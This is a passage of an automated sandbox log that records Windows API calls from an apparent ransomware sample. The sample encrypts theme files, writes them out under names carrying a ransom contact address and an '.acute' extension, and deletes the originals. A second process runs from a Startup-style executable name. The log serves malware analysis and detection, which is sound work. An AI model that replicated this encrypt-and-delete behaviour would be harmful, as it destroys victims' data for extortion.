CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0058.659] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0058.659] CryptDestroyKey (hKey=0x5931a0) returned 1 [0058.659] WriteFile (in: hFile=0x1a0, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0058.660] CryptDestroyKey (hKey=0x5932a0) returned 1 [0058.660] CloseHandle (hObject=0x1ac) returned 1 [0058.660] CloseHandle (hObject=0x1a0) returned 1 [0058.661] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0058.662] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0058.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.662] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1347) returned 1 [0058.662] CloseHandle (hObject=0x1a0) returned 1 [0058.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0058.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0058.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.663] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0058.663] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0058.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Process: id = "2" image_name = "cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" page_root = "0x4edc7000" os_pid = "0xa6c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa54" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0xa70 [0031.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fb60 | out: lpSystemTimeAsFileTime=0x20fb60*(dwLowDateTime=0x831c2330, dwHighDateTime=0x1d52d18)) [0031.896] GetCurrentProcessId () returned 0xa6c [0031.896] GetCurrentThreadId () returned 0xa70 [0031.896] GetTickCount () returned 0x18dae [0031.896] QueryPerformanceCounter (in: lpPerformanceCount=0x20fb58 | out: lpPerformanceCount=0x20fb58*=15204618563) returned 1 [0031.898] GetStartupInfoW (in: lpStartupInfo=0x20fb04 | out: lpStartupInfo=0x20fb04*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x20fb68, hStdError=0x12a8ca4)) [0031.898] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0031.898] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x7c0000 [0031.900] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0031.900] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0031.900] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0031.900] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0031.900] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0031.901] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x214) returned 0x7c07d0 [0031.901] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0031.901] GetCurrentThreadId () returned 0xa70 [0031.901] GetStartupInfoW (in: lpStartupInfo=0x20faa0 | out: lpStartupInfo=0x20faa0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x12a726a, hStdOutput=0x12a75a3, hStdError=0x7c07d0)) [0031.901] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x800) returned 0x7c09f0 [0031.901] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0031.901] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0031.902] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0031.902] SetHandleCount (uNumber=0x20) returned 0x20 [0031.902] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe\"" [0031.902] GetEnvironmentStringsW () returned 0x2e4858* [0031.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0031.902] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x565) returned 0x7c11f8 [0031.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x7c11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0031.902] FreeEnvironmentStringsW (penv=0x2e4858) returned 1 [0031.902] GetLastError () returned 0x5 [0031.902] SetLastError (dwErrCode=0x5) [0031.902] GetLastError () returned 0x5 [0031.902] SetLastError (dwErrCode=0x5) [0031.902] GetLastError () returned 0x5 [0031.902] SetLastError (dwErrCode=0x5) [0031.902] GetACP () returned 0x4e4 [0031.902] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x220) returned 0x7c1768 [0031.902] GetLastError () returned 0x5 [0031.902] SetLastError (dwErrCode=0x5) [0031.902] IsValidCodePage (CodePage=0x4e4) returned 1 [0031.902] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x20fa68 | out: lpCPInfo=0x20fa68) returned 1 [0031.902] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x20f534 | out: lpCPInfo=0x20f534) returned 1 [0031.902] GetLastError () returned 0x5 [0031.903] SetLastError (dwErrCode=0x5) [0031.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x20f948, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x20f948, cbMultiByte=256, lpWideCharStr=0x20f2b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0031.903] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x20f548 | out: lpCharType=0x20f548) returned 1 [0031.903] GetLastError () returned 0x5 [0031.903] SetLastError (dwErrCode=0x5) [0031.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x20f948, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x20f948, cbMultiByte=256, lpWideCharStr=0x20f278, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0031.903] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0031.903] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x20f068, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0031.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x20f848, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x16\xd3\xb9\x09\x80\xfa\x20", lpUsedDefaultChar=0x0) returned 256 [0031.903] GetLastError () returned 0x5 [0031.903] SetLastError (dwErrCode=0x5) [0031.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x20f948, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x20f948, cbMultiByte=256, lpWideCharStr=0x20f298, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0031.903] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0031.903] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x20f088, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0031.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x20f748, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1